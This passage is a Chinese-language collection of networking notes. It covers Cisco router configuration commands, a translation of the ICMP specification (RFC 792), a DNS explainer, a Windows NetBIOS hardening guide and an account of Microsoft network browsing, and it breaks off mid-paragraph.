menu 定义用户接口菜单
mop 设置DEC MOP服务器
netbios NETBIOS通道控制过滤
no 否定一个命令或改为缺省设置
ntp 设置NTP
priority-list 建立特权列表
prompt 设置系统提示符
queue-list 建立常规队列列表
rcmd 远程命令设置命令
rcp-enable 打开Rep服务
rif 源路由进程
router-map 建立路由表或进入路由表命令模式
router 打开一个路由进程
rsh-enable 打开一个RSH服务
sap-priority-list 在SAP或MAC地址上建立一个优先队列
service 修改网络基本服务
snmp-server 修改SNMP参数
state-machine 定义一个TCP分配状态的机器
stun STUN全局设置命令
tacacs-server 修改TACACS队列参数
terminal-queue 终端队列命令
tftp-server 为网络装载请求提供TFTP服务
tn3270 tn3270设置命令
translate 解释全局设置命令
username 建立一个用户名及其权限
vines VINES全局设置命令
x25 X.25 的第三级
x29 X.29 命令
xns XNS 全局设置命令
xremote 设置Xremote
5 (config)#ip
Global IP configuration subcommands:
Accounting-list 选择保存IP记帐信息的主机
Accounting-threshold 设置记帐入口的最大数
accounting-transits 设置通过入口的最大数
alias TCP端口的IP地址取别名
as-path BGP自治系统路径过滤
cache-invalidate-delay 延迟IP路由存贮池的无效
classless 跟随无类前向路由规则
default-network 标志网络作为缺省网关候选
default-gateway 指定缺省网（如果没有路由IP）
domain-list 完成无资格主机的域名
domain-lookup 打开IP域名服务系统主机转换
domain-name 定义缺省域名
forward-protocol 控制前向的、物理的、直接的IP广播
host 为IP主机表增加一个入口
host-routing 打开基于主机的路由（代理ARP和再定向）
hp-host 打开HP代理探测服务
mobile-host 移动主机数据库
multicast-routing 打开前向IP
name-server 指定所用名字服务器的地址
ospf-name-lookup 把OSPF路由作为DNS名显示
pim PIM 全局命令
route 建立静态路由
routing 打开IP路由
security 指定系统安全信息
source-route 根据源路由头的选择处理包
subnet-zero 允许子网0子网
tcp 全局TCP参数


Internet控制信息协议ICMP

文章译者：顾国飞（ggfei ggfei@263.net）
版权：本中文翻译文档版权归中国互动出版网所有。可以用于非商业用途自由转载，但必须保留本文档的翻译及版权信息。

Network Working Group J. Postel
Request for Comments: 792 ISI
September 1981
Updates: RFCs 777, 760
Updates: IENs 109, 128

RFC792- Internet控制信息协议（ICMP）
（RFC792 INTERNET CONTROL MESSAGE PROTOCOL）

目录
1.介绍 2
2.消息格式 2
3.目的不可达信息 3
4.超时信息 3
5.参数问题消息 4
6.源拥塞消息 5
7.重定向消息 6
8.回送或回送响应消息 7
9.时间戳和时间戳响应消息 8
10.消息类型总结 9
11．参考资料 10
1.介绍
    在被称为Catenet的系统中，IP协议被用作主机到主机的数据报服务。网络连接设备称为网关。这些网关通过网关到网关协议（GGP）相互交换用于控制的信息。通常，网关或目的主机将和源主机通信，例如，为报告在数据报过程中的错误。为了这个目的才使用了ICMP，它使用IP做为底层支持，好象它是一个高层协议，而实际上它是IP的一部分，每一种IP模块必须实现ICMP。
    ICMP消息在以下几种情况下发送：当数据报不能到达目的地时，当网关的已经失去缓存功能，当网关能够引导主机在更短路由上发送。
    IP并非设计为绝对可靠，这个协议的目的是为了当网络出现问题的时候返回控制信息，而不是使IP协议变得绝对可靠，并不保证数据报或控制信息能够返回。一些数据报仍将在没有任何报告的情况下丢失。上层协议必须使用自己的差错控制程序来判断通信是否正确。
    ICMP信息通常报告在处理数据报过程中的错误。若要避免信息无限制地返回，对于ICMP消息不会单独成包发送，而且ICMP信息只在处理数据报偏移量为0时发送。
2.消息格式
    ICMP消息以基本IP头发送。数据的第一个字节是ICMP类型域；此域的值决定了了其余数据的格式。任何标记为"未使用"的域都是为以后的扩展保留的，在传送过程中必须全部是0。除非在个别的格式之下，包头域如下格式：
    ·版本：4
    ·IHL：Internet头长度大小以32位字为单位。
    ·服务类型：0
    ·总长度：包头长度和数据长度。
    ·标识符（Identification）、标志（Flags）、段偏移量：在分段时使用。
    ·生存周期：以秒计，此域在每台机器处理数据报时减少，此值必须大于要传送它的网关所消耗的时间。
    ·协议：ICMP = 1
    ·包头校验码：16位数据反码和再取反而得。为计算校验码，此域应该为0。在将来可以会取代这一域。
    ·源地址：创建ICMP信息的网关或主机地址，除非说明，它可以是任何网关地址。
·目的地址：信息要发送到的网关或主机地址。
3.目的不可达信息
                                      图1
IP域：目的地址，发送原始数据报数据的网络地址
ICMP域：
    ·类型：3
    ·代码：
0 = 网络不可达；
1 = 主机不可达；
2 = 协议不可用；
3 = 端口不可达；
4 = 需要段和DF设置；
5 = 源路由失败；
    ·校验码：16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·Internet包头+源数据报：
    Internet包头加上源数据的头64位而得。此数据用于主机匹配信息到相应的进程。如果高层协议使用端口号，应该假设其在源数据的头64个字节之中。
    ·说明：
    相应于网关的路由表，如果在目的域中指定的网络不可达，如网络距离为无限远，网关会向发送源数据的主机发送目的不可达消息。而且，在一些网络中，网关有能力决定目的主机是否可达。如果目的地不可达，它将向发送源数据的主机发送不可达信息。
    在目的主机，如果IP模块因为指定的协议模块和进程端口不可用而不能提交数据报，目的主机将向发送源数据的主机发送不可达信息。
    另外一种情况是当数据报必须被分段传送，而"不可分段"位打开，在这种情况下，网关必须抛弃此数据报，并向发送源数据的主机发送不可达信息。
    代码0，1，4和5由网关发送，而代码2和3由主机发送。
4.超时信息

                                  图2
IP域：
目的地址：从源数据报数据中得到。
ICMP域：
    ·类型：11
    ·代码：
    0 = 传送超时；
    1 = 分段级装超时。
    ·校验码：16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·Internet包头+64位源数据报数据：Internet包头加上源数据的头64位而得。此数据用于主机匹配信息到相应的进程。如果高层协议使用端口号，应该假设其在源数据的头64个字节之中。
    ·说明：
    如果网关在处理数据报时发现生存周期域为零，此数据报必须抛弃。网关同时必须通过超时信息通知源主机。
    如果主机在组装分段的数据报时因为丢失段未能在规定时间内组装数据，此数据报必须抛弃。网关发送超时信息。
    如果段零不可用则不用发送超时信息。
    代码0由网关发送，代码1由主机发送。
5.参数问题消息

                                      图3
IP域：
目的地址：从源数据中得到。
ICMP域：
    ·类型：12
    ·代码：
            0 = 指针指向错误。
    ·校验码： 16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·指针：
            如果code = 0，指向有问题的字节。
    ·Internet包头+64位源数据报数据：Internet包头+64位源数据报数据：Internet包头加上源数据的头64位而得。此数据用于主机匹配信息到相应的进程。如果高层协议使用端口号，应该假设其在源数据的头64个字节之中。
    ·说明：
    如果网关或主机在处理数据报时发现包头参数有错误以至不能完成工作，它必须抛弃此数据报。一个潜在的原因可以是变量的错误。网关或主机将通过参数问题消息通知源主机，此消息只有在消息被抛弃时才被发送。
    指针指向发现错误的数据报包头字节（可能是选项的中间）。例如，1表示服务类型有错误，如果有选项的话，20表示第一个选项的类型有错误。
代码0可能从主机或网关接收到。

6.源拥塞消息
                                  图4
IP域：
目的地址：源数据报数据的地址和源网络。
ICMP域：
    ·类型：4
    ·代码： 0
    ·校验码： 16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·Internet包头+64位源数据报数据： Internet包头+64位源数据报数据：Internet包头加上源数据的头64位而得。此数据用于主机匹配信息到相应的进程。如果高层协议使用端口号，应该假设其在源数据的头64个字节之中。
    ·说明：
    如果没有缓冲容纳，网关会抛弃数据报，如果网关这样做了，它会发送源拥塞消息给发送主机。如果接收的数据报太多无法处理，目的主机也会发送相应的消息给发送主机。此消息要求发送发减少发送速率，网关会给每个抛弃的消息返回源拥塞消息，在接到此消息后，发送主机应该减少发送速率，直到不再接收到网关发送的源拥塞消息为止。在此之后，源主机可以再增加发送速率，直到接收到目的主机的源拥塞消息为止。
    网关或主机不会等到已经超过限度后再发送此消息，而是接近自己的处理极限时就发送此消息，这意味着，引发源拥塞消息的数据报仍然可以处理。
    代码0可能会从主机或网关接收到。
7.重定向消息
                                  图5
IP域：
目的地址：源数据报数据的地址和源网络。
ICMP域：
    ·类型： 5
    ·代码：
      0 = 重定向网络的数据报；
      1 = 重定向主机的数据报；
      2 = 重定向网络和服务类型的数据报；
      3 = 重定向网络和主机类型的数据报。
    ·校验码：
    16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·网关Internet地址：
    应该发送网关地址（其在源数据报数据的internet目的网络域中指定）。
    ·Internet包头+64位源数据报数据：
    Internet包头加上源数据的头64位而得。此数据用于主机匹配信息到相应的进程。如果高层协议使用端口号，应该假设其在源数据的头64个字节之中。
    ·说明：
    网关在下面情况下发送重定向消息。网关（G1）从网关相连的网络上接收到数据报，它检查路由表获得下一个网关（G2）的地址（X）。如果G2和指定的接收主机在同一网络上，重定向消息发出，此消息建议发送主机直接将数据报发向网关G2，因为这更近，同时网关G1向前继续发送此数据报。
    因为在数据报中的IP源路由和目的地址域是可选的，所以即使有更好的路由有时也无法发现。
    代码0，1，2和3可能会从网关发送。
8.回送或回送响应消息
                                        图6
IP域：
地址：
回送消息的源地址是回送响应消息的目的地址。若要形成一个回送响应消息，应该将源和目的地址交换，将类型代码更改为0，重新计算机校验码。
ICMP域：
    ·类型：
    8代表回送消息；
    0代表回送响应消息。
代码：0
    ·校验码：
    16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·标识符：如果代码=0，帮助匹配回送和回送响应的代码可以为0。
    ·序列码：如果代码=0，帮助匹配回送和回送响应的序列码可以为0。
    ·说明：
    回送消息中接收到的消息应该在回送响应消息中返回。标识符和序列码由回送发送者使用帮助匹配回送请求的响应。
    代码0可能会从主机或网关接收到。
9.时间戳和时间戳响应消息

                                        图7
IP域：
地址：
    时间戳消息的源地址是时间戳响应消息的目的地址。若要形成一个时间戳响应消息，应该将源和目的地址交换，将类型代码更改为14，重新计算机校验码。
ICMP域：
    ·类型：
      13代表时间戳消息；
      14代表时间戳响应消息。
    ·代码：0
    ·校验码：
    16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·标识符：如果代码=0，帮助匹配时间戳和时间戳响应的代码可以为0。
    ·序列码：如果代码=0，帮助匹配时间戳和时间戳响应的代码可以为0。
    ·说明：
    接收到的时间戳附加在响应里返回，时间是以百万分之一称为单位计算，并以标准时午夜开始计时。原时间戳是发送方发送前的时间。接收时间戳是回送者接收到的时间，传送时间是回送者发送的时间。
    如果时间以百万分之一秒计无效，或者不能以标准时提供，可以在时间戳的高字节填充入数据以表示这不是标准数据。标识符和序列码由发送者匹配请求的响应。
    代码0可能会从主机或网关接收到。
信息请求或信息响应消息

                                      图8
IP域：
地址：
    信息请求消息的源地址是信息响应消息的目的地址。若要形成一个信息响应消息，应该将源和目的地址交换，将类型代码更改为16，重新计算机校验码。
ICMP域：
    ·类型：
    15代表信息请求消息；
    16 代表信息响应消息。
    ·代码： 0
    ·校验码：
    16位数据（从ICMP类型开始）的反码和再取反而得。为计算校验码，校验码域应该为零。这些零在以后会被校验码取代。
    ·标识符：如果代码=0，帮助匹配信息请求和信息响应的代码可以为0。
    ·序列码：如果代码=0，帮助匹配信息请求和信息响应的代码可以为0。
    ·说明：
    此消息可以在IP包头中以源网络地址发送，但同时目的地址域为0（这表示此网络内）。响应IP模块应该发送完全指定地址的响应。发送此消息是主机寻找到自己所在网络号码的一种方法。标识符和序列码由发送者匹配请求的响应。
    代码0可能会从主机或网关接收到。
  10.消息类型总结
     0 回送响应
     3 目的不可达
     4 源拥塞
     5 重定向
     8 回送
     11 超时
     12 参数问题
     13 时间戳
     14 时间戳响应
     15 信息请求
     16 信息响应
11．参考资料
[1] Postel, J. (ed.), "Internet Protocol - DARPA Internet Program
Protocol Specification," RFC 791, USC/Information Sciences
Institute, September 1981.
[2] Cerf, V., "The Catenet Model for Internetworking," IEN 48,
Information Processing Techniques Office, Defense Advanced
Research Projects Agency, July 1978.
[3] Strazisar, V., "Gateway Routing: An Implementation
Specification", IEN 30, Bolt Beranek and Newman, April 1979.
[4] Strazisar, V., "How to Build a Gateway", IEN 109, Bolt Beranek
and Newman, August 1979.
[5] Mills, D., "DCNET Internet Clock Service," RFC 778, COMSAT
Laboratories, April 1981.

RFC792 INTERNET CONTROL MESSAGE PROTOCOL RFC792 Internet控制信息协议（ICMP）
1

1
ＲＦＣ文档中文翻译计划


让DNS(Domain Name System)疑惑灰飞烟灭

问：什么是“DNS”？其中文为何？
答：DNS，简单地说，就是Domain Name System，翻成中文就是“域名系统”。
问：DNS有什么用途？
答：在一个TCP/IP架构的网络（例如Internet）环境中，DNS是一个非常重要而且常用的系统。主要的功能就是将人易于记忆的Domain Name与人不容易记忆的IP Address作转换。而上面执行DNS服务的这台网络主机，就可以称之为DNS Server。基本上，通常我们都认为DNS只是将Domain Name转换成IP Address，然后再使用所查到的IP Address去连接（俗称“正向解析”）。事实上，将IP Address转换成Domain Name的功能也是相当常使用到的，当login到一台Unix工作站时，工作站就会去做反查，找出你是从哪个地方连线进来的（俗称“逆向解析”）。
问：DNS是怎么运作的？
答：DNS是使用层的方式来运作的。例如：哈工大紫丁香站的Domain Name为bbs.hit.edu.cn，这个Domain Name当然不是凭空而来的，是从.edu.cn所分配下来的。.edu.cn又是从.cn授予（delegation）的。.cn是从哪里来的呢？答案是从“.”，也就是所谓的“根域”（root domain）来的。根领域已经是Domain Name的最上层。而“.”这层是由InterNIC（Internet Network Information Center，互联网信息中心）所管理。全世界的Domain Name就是这样，一层一层的授予下来。
问：当我查一个Domain Name时，DNS是怎么查出它的IP的呢？
答：举个例子，假设今天我们查的Domain Name（作一个dns query）为bbs.hit.edu.cn时，DNS Server会这么处理：
(1) 你所用的电脑（可能是PC，也可能是工作站）送出一个问题给这台电脑所设定的DNS Server，提问：bbs.hit.edu.cn的IP是什么？
(2) 这台DNS会先看看是不是在它的cache中，如果是，就丢出答案。如果不是，就从最上头查起。在DNS Server上面一定有设定“.”要跟谁问。所以，这个时候它就往“.”层的任何一台DNS（目前“.”有13台）问：.cn要问谁？
(3) “.”层的DNS会回答.cn要向谁查（同时你用的DNS会cache起来这个答案）。
(4) 接下来你所用的DNS就会向.cn这层的DNS问：.edu.cn要问谁？
(5) .cn的这层就会回答.edu.cn要向谁查（同时你用的DNS也把这答案cache起来）。
(6)直到bbs.hit.edu.cn回答：bbs.hit.edu.cn的IP是202.118.224.2（又cache起来）。
经过了这么多的过程，终于得到了这个IP，接下来才能作进一步的连线。要注意的是，在每一层都会问一个问题，并且把答案记下来（cache起），而且还会忘掉（看该层的设定是要cache多久）。
问：DNS要怎么设置？
答：如果，只是要使用DNS，那只要在TCP/IP的网络属性中设置即可。设置的方法跟使用的操作系统有关。例如：Windows 9x在“控制面板”→“网络”→“TCP/IP”→“属性”中，找到DNS的部分再来设置。Unix在/etc/resolv.conf这个文件中设置（如果，要架设一台DNS Server，就不是在这里讨论的了）。
问：哪一台 DNS 资料最新？
答：如果你知道DNS是利用阶层架构运作的，那就应该知道，离你最近的DNS，就是最好的。


何为 NetBIOS？
NetBIOS (网络基本输入输出系统，Network Basic Input Output System) 是 Microsoft 网络使用的应用程序、或程序。NetBIOS 常见的用途之一是让局域网 (LAN) 上的计算机共享文件及打印机。但是，如果您连接到 Internet，并通过 NetBIOS 进行文件与打印共享，您便可能面临不必要的安全威胁。大多数的系统在连接 Internet 时都不需 NetBIOS。但是，有些早期的 Cable Modem 可能需要 NetBIOS 的某些组件 (特别是 NetBIOS 名称及 NetBIOS 数据报)。

NetBIOS 对安全性有何影响？
一经使用，NetBIOS 就配置为了互连 (或连结) 您 PC 上的九个组件，这些组件分属于三层：硬件层、传输协议层及网络服务层。

网络服务层
这一层负责确定在联网的计算机间进行访问的人及资源。网络服务层的组件有：
Microsoft 网络用户，网络应用程序
Microsoft 网络上的文件和打印机共享
Microsoft 友好登录

传输协议层
这一层负责计算机的组件与 Internet 之间的通讯。传输协议层的组件有：
TCP/IP (传输控制协议/Internet 协议) 是让 Internet 可以将数据传送到您计算机的协议。
NetBEUI (NetBIOS 增强型用户界面) 是 NetBIOS 协议的易使用、加强型版本。
IPX/SPX 是两种网络协议。IPX (网际网络数据包交换协议) 用在非连接式通讯上；SPX (序列数据包交换协议) 附加在 IPX 的上层，使网络上两台计算机之间可以进行连接导向通讯。
硬件适配器层
这一层是用于向 Internet 传送数据的硬件。硬件适配器层的组件有：
拨号适配器
Cable Modem/DSL 接口
局域网 (LAN) 接口（如果适用）

预先配置的 NetBIOS 中，不安全的组件有：Microsoft 网络应用程序及文件与打印机共享。因为 NetBIOS 的九个组件 (包括 TCP/IP) 都是互连的，所以当您在线时，您的数据便有受攻击的危险。每当您使用预先配置的 NetBIOS 连接 Internet 时，黑客便可以轻松地访问您的密码、将恶意程序代码上载到您的计算机以及进行其他破坏行为。您的计算机便暴露在网络上的所有可能的威胁当中。
不过，您可以重新配置您的 NetBIOS 以弥补安全漏洞，而且不会损及 Microsoft 网络程序的任何功能。配置您的计算机，使得彼此连接以及连接到 TCP/IP 协议的网络组件数目降到最低。在新的 NetBIOS 配置中，当您在线时，不安全的组件就不会暴露出来或是可被访问。
您将重新配置 NETBIOS，九个组件不再是通过 TCP/IP 互连，TCP/IP 只会连接到拨号适配器。NetBEUI 的传输也将被连接到拨号适配器，以及 TCP/IP。因为 NetBEUI 可以提供安全的本地文件及网络共享，所以在这样的配置中您的文件不会被暴露出来。Microsoft 网络应用程序、文件与打印共享、及 Microsoft 友好登录都将被连接到 NetBEUI。IPX/SPX 协议会从网络组件列表中删除。
重新配置 NetBIOS 后，您仍可以和以前一样连接 Internet 及使用局域网。其功能上的差异您是察觉不到的，但黑客将无法在您上线时访问整个计算机资源，因为那些不需联机的组件都会变成无法访问。
Windows 2000 Pro 的配置:
在 Windows 2000 Pro 中，网络联机不一定需要 NetBIOS，除非您的网络上有 NT 4.0 WS 或 Windows 98 的计算机。所以，为了堵住安全上的漏洞，您应该禁用 NetBIOS。
为了禁用 NetBIOS，必须将 TCP/IP 配置为使用 WINS。操作如下:
在 Windows 任务栏上，单击"开始">"设置">"网络和拨号连接"
1. 右键单击"本地连接"并从菜单选择"属性"
2. 单击"常规"选项卡
3. 从组件列表中选择"Internet 协议 (TCP/IP)"
4. 单击"属性"
5. 单击"Internet 协议 (TCP/IP)属性"窗口中的"高级"
6. 单击"WINS"选项卡
7. 单击"添加"
8. 键入 WINS 服务器的 IP 地址
9. 单击"添加"
10. 单击"确定"以关闭"高级 TCP/IP 设置"窗口
11. 单击"确定"以关闭"Internet 协议 (TCP/IP)属性"窗口
12. 单击"确定"以关闭"本地连接属性"窗口

禁用 NetBIOS
1. 在 Windows 任务栏上，单击"开始">"设置">"网络和拨号连接"
2. 右键单击"本地连接"并从菜单选择"属性"
3. 单击"常规"选项卡
4. 从组件列表中选择"Internet 协议 (TCP/IP)"
5. 单击"属性"
6. 单击"Internet 协议 (TCP/IP)属性"窗口中的"高级"
7. 单击"WINS"选项卡
8. 选择"禁用 TCP/IP 上的 NetBIOS "
9. 单击"确定"以关闭"高级 TCP/IP 设置"窗口
10. 单击"确定"以关闭"Internet 协议 (TCP/IP)属性"窗口
11. 单击"确定"以关闭"本地连接属性"窗口

Windows NT WS 的配置
在 Windows NT WS 中，WINS 客户端 (TCP/IP) 的传输通常是绑定到 LAN 适配器，这会将您计算机的数据暴露在 Internet 上。若要确保网络安全，可以安装 MS Loopback 适配器。将会安装并配置 NetBEUI 以确保局域网络的安全。
安装 MS Loopback 适配器
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标以打开"网络"窗口
3. 单击"适配器"选项卡
4. 单击"添加"
5. 在"选择网络适配器"窗口中选择"MS Loopback 卡"作为网络适配器
6. 单击"确定"
7. 如果出现"MS Loopback 适配器设置"窗口的提示，单击"确定"
8. 当系统出现提示时，插入原版的 Windows NT WS 光盘
9. 单击"Windows NT 设置"窗口中的"继续"
10. 单击"网络"窗口中的"关闭"，将出现" TCP/IP 属性"窗口
11. 单击"IP 地址"选项卡
12. 从"适配器"下拉列表选择"MS Loopback 卡"
13. 选择"指定 IP 地址"单选按钮
14. 在"IP 地址"框中输入 10.0.0.1
15. 在"子网掩码"框中输入 255.0.0.0
16. 单击"确定"以关闭"Microsoft TCP/IP 属性"窗口
17. 重启计算机
安装 NetBEUI 传输
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标以打开"网络"窗口
3. 单击"协议"选项卡
4. 单击"添加"
5. 在"网络协议"窗口中选择"NetBEUI 通信协议"作为网络协议
6. 单击"确定"
7. 当提示插入原版 Windows NT WS 光盘时
8. 安装了 NetBEUI 后，单击"确定"以关闭"网络"窗口
9. 重启计算机
配置适配器与协议的绑定
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标以打开"网络"窗口
3. 单击"绑定"选项卡
4. 从"显示绑定属于"下拉列表选择"所有协议"
5. 单击"WINS 客户 (TCP/IP)"旁边的 + 号
6. 选择适配器（除了 MS Loopback 适配器之外的其他适配器都需要进行该操作）
7. 单击"禁用"
8. 为除 MS Loopback 适配器之外的其他适配器重复第 6 - 7 步
9. 选择"MS Loopback 卡"
10. 单击"启用"
11. 除了"WINS 客户"外，单击所有协议旁的 + 号
12. 选择"MS Loopback 卡"
13. 单击"禁用"
14. 单击"确定"以关闭"网络"窗口
15. 重启计算机
Windows 95/98/ME 的配置:
配置您的 NetBIOS 只需四个简单步骤：安装 NetBEUI 通信协议、配置硬件适配器、配置网络传输协议、以及重启计算机。若要开始配置 NetBIOS，请依下述顺序进行：
安装 NetBEUI 通信协议
检查是否已安装了 NetBEUI 通信协议：
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标打开"网络"窗口
3. 单击 "配置"选项卡
4. 浏览网络组件列表，确认 NetBEUI 列入了已安装的组件
如果已经安装了 NetBEUI，则进行配置硬件适配器
如果尚未安装 NetBEUI，则按照 NetBEUI 安装指导进行操作：
1. 单击"网络"窗口中"配置"选项卡上的"添加"
2. 选择"协议"作为要安装的网络组件类型
3. 单击"添加"
4. 在"网络协议"窗口中，选择"Microsoft"作为生产商
5. 选择"NetBEUI"作为网络协议
6. 单击"确定"以安装 NetBEUI
7. 单击"确定"以关闭"网络"窗口
可能会提示您插入您原版的 Windows 光盘。
配置硬件适配器
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标以打开"网络"窗口
3. 单击"配置"选项卡
4. 浏览网络组件的列表以找到所有硬件适配器组件。
5. 从列表选择硬件组件
6. 单击"属性"
7. 单击"绑定"选项卡
"硬件适配器"组件的配置会因您的 Internet 连接而有所不同。请从下方找到适合的用户组，用来配置每个"硬件适配器"组件。
提示：若要绑定一个组件，请选中组件旁的框；若要取消某项组件的绑定，则请取消选中组件。
拨号适配器用户：
如果您的计算机上没有同时安装 LAN 适配器的话，请仅保留 TCP/IP 及 NetBEUI 与拨号适配器的绑定即可，并取消所有其它组件 (例如 IPX/SPX 传输协议) 的绑定

Cable Modem 或 DSL 用户：
将网络适配器 (NIC) 绑定到 TCP/IP 和 NetBEUI，取消与其他组件的绑定（如：IPX/SPX 传输协议）
希望所连接的计算机都能使用 Internet 的局域网用户：
将网络适配器 (NIC) 绑定到 TCP/IP 和 NetBEUI，取消与其他组件的绑定（如：IPX/SPX 传输协议）
不希望让所有计算机都能使用 Internet 的局域网络用户:
只将网络适配器绑定到 NetBEUI，取消 TCP/IP 及所有其它组件的绑定 (例如 IPX/SPX 传输协议)

配置网络传输协议:
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标以打开"网络"窗口
3. 单击"配置"选项卡
4. 浏览网络组件列表以找到所有 TCP/IP 协议
5. 从列表选择"TCP/IP"协议。提示：通讯协议会以类似这样的图标表示：
6. 单击"属性"
7. 单击"绑定"选项卡
8. 如果出现消息框，提示您最好在每个连接图标中设置 TCP/IP 属性，以及更改会覆盖连接设置的适配器设置，单击"确定"。您确实希望覆盖所有的预设连接设置。
9. 取消选中或取消绑定所列的全部网络组件
10. 单击"确定"以关闭"TCP/IP 属性"窗口
11. 对每个安装的 TCP/IP 协议重复第 4 - 10 步
12. 单击"确定"以关闭"网络"窗口
重启计算机系统
必须重启计算机后，配置设置才能生效。重启后，NetBIOS 的配置便可达到最高安全性。以前通过 NetBIOS 被暴露的重要数据，现在都可免受黑客的攻击。
@Home 用户的特别注意事项
如果在编辑 TCP/IP 属性后，发现无法连接 Internet：
1. 在 Windows 任务栏上，单击"开始">"设置">"控制面板"
2. 双击"网络"图标以打开"网络"窗口
3. 单击"配置"选项卡
4. 从列表选择您的TCP/IP 协议
5. 单击"属性"
6. 单击 "绑定"选项卡
7. 重新选中或重新绑定"Microsoft 网络用户"
8. 重启计算机
警告！ 一旦进行了该修改，您便无法免于 NetBIOS 类型的攻击。您需要安装及配置防火墙以禁止对端口 139 的攻击，但允许对端口 137 及 138 的访问。
另：
有关网上邻居的问题，问的人一直比较多，在理解上存在的误区也普遍较为严重。鉴于Microsoft的NETBIOS文档不是很细致，我四处收集了一些相关资料加上自己的实践经验写了这个系列，希望能对大家有所帮助．
  本来想为了增加可读性，把这个系列写成问答的形式，不过一时之间脑袋里也编不出这么多的问题，还是按部就班先感性的对微软的浏览服务作一大致介绍，然后再深入剖析NETBIOS的具体工作机理,大家要是有什么问题,可以提出来我们一起讨论.
***微软网络浏览过程简介***
在“Windows NT系统管理技术内幕”一书中，讲到了一个非常具有代表性的问题，我把它摘抄了下来：
问：什么情况下会导致在网络邻居中计算机能看见却无法访问或可以访问却看不见？
请选择最佳答案：
A.你的网络存在物理问题,比如网线
B.作为域主浏览器的Windows NTserver的浏览服务坏了
C.Windows NTserver网卡有问题
D.你的网络没有问题,用户描述的是正常的微软浏览现象
正确答案 D
书上的解释:微软的网络浏览可能在使用中出现"中断",而实际上它们并没有中断, 这种误解是由于用户对微软网络浏览的处理过程不熟悉造成的。
就象同学们经常在抱怨的“为什么别人的网上邻居可用，我的却不行？”“为什么有时候可以浏览，有时候却无法浏览网络？”解铃还须系铃人，让我们一起去看看微软的网络浏览到底是如何实现的。鉴于大家可能对NT的“域”概念还不甚了解，出现浏览故障的也多为98的机子，我将以98的“工作组模式”为大家讲解。
1.什么是浏览列表（Browsing List）
在微软网络中，用户可以在浏览列表里看到整个网络（何指？子网还是广播域？大家可以考虑考虑）上所有的计算机。当你通过网上邻居窗口打开整个网络时，你将看到一个工作组列表，再打开某个工作组，你将看到里面的计算机列表（也可在 DOS方式下用net view /domain:workgroupname命令得到），这就是我们所说的 Browsing List。工作组从本质上说就是共享一个浏览列表的一组计算机，所有的工作组之间都是对等的，没有规定不可以让所有的计算机同处于一个工作组中。
2.浏览列表在哪里
曾在木棉上看到过一场争论，有人说：网上邻居里的计算机列表是广播查询得来的。可有人举反例说：我的同学都关机了，可我还是能在网上邻居里看到它，应该是从HUB或交换机之类较为固定的设备的缓存中取得的。 其实他们都只说对了一个方面，把他们二人的说法结合起来就是正确答案了--- 浏览列表是通过广播查询浏览主控服务器，由浏览主控服务器提供的。
3.浏览主控服务器又是什么
浏览主控服务器是工作组中的一台最为重要的计算机，它负责维护本工作组中的浏览列表及指定其他工作组的主控服务器列表，为本工作组的其他计算机和其他来访本工作组的计算机提供浏览服务，每个工作组都为会每个传输协议选择一个浏览主控服务器，而我们经常遇到的无法浏览网络的错误大多是因为你所处的工作组没有浏览主控服务器而造成的。你可以在一个工作组中用NBTSTAT -a computername 命令找出使用NBT协议的浏览主控服务器，它的标识是含有\_MSBROWSE_名字段。
4.浏览主控服务器是如何指定的
缺省情况下，win98工作组中的浏览主控服务器是该工作组中第一台启用文件及打印机共享功能的计算机，也允许手工将一台win计算机配置为浏览主控服务器（方法会在后面讲述网络配置时具体介绍，但由于浏览主控服务器需要维护动态浏览列表，性能会受影响），如果一个工作组中有多台计算机配置了这个选项，或是当前的浏览主控服务器关闭了系统，又没有其他计算机启用主控设置时，就要进行主控浏览器的选举。
5.如何通过浏览器选举产生浏览主控服务器
关于浏览器的选举报文,不太好抓包,我就只好按书上的东西来讲述了.其实过程很简单,首先由一台计算机发送一个选举临界报文,该报文包含了来自发送计算机的信息(操作系统,版本及NET名等),选举报文向网络中广播,工作组中的每一台计算机都会用自身信息与选举报文进行优先级比较,主要是操作系统起主要作用,记得好像是NT Server>NT Workstation>Win98>WFWG,反正到最后是那个自身条件最好的成为新的浏览主控服务器.
6.整个网络浏览的过程是怎样的
当一台win98进入网络时，如果它带有服务器服务（启用了文件及打印机共享）会向网络广播宣告自己的存在，而浏览主控服务器会取得这个宣告并将它放入自己维护的浏览列表中；而没有在相应协议上绑定文件及打印机共享的计算机则不会宣告，因而也就不会出现在网络邻居里了。
当客户计算机想获得需要的网络资源列表时，首先会广播发出浏览请求，浏览主控服务器收到请求后，如果请求的是本组的浏览列表，则直接将客户所需的资源列表发回；如果请求的是其它工作组的浏览列表，浏览主控服务器会根据本身Browsing List中的记录找到相应工作组的主控浏览器返回给用户，用户可从那里得到它想要的浏览列表。至于如何去和另一台计算机共享交换资源，就不是我们这里要讨论的问题了。
明白了网络浏览的原理，下面我给大家讲一个有用的应用，现在很多同学出于安全的考虑都不太欢迎陌生人通过网上邻居访问自己的机子，可有时下部电影又需要给认识的同学共享出来，因而还不能删除文件及打印机共享服务。怎么办？有些人给共享名加个$，以达到隐藏的效果，可这用DOS下的net share是可被看到的；有些人给共享加上密码，可听说这也是有办法破解的，而且很容易激起“黑客同志”的好奇心。有没有办法将自己的机器在网络邻居里隐藏起来呢？而对于认识的同学可以让他用\IP 来访问。
